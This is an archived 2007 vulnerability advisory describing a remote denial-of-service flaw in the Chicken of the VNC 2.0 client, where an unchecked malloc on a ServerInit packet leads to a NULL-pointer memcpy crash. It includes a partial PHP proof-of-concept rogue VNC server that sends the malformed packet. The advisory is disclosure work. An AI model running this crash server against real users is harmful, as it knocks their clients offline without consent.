AOH :: HP Unsorted C :: C07-2209.HTM

Chicken of the VNC 2.0 remote DoS
Chicken of the VNC 2.0 remote DoS
Chicken of the VNC 2.0 remote DoS

i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets. 
A ServerInit packet contains the server's computer name and its size in the following format:
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory. 
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,

( due to a NULL-pointer dereference 
02-02-2007   poplix [@]
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
	if(substr($i,0,6) == "RFB 00") break;
print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024)) 
	if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);



print "done\n";

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH
We do not send spam. If you have received spam bearing an email address, please forward it with full headers to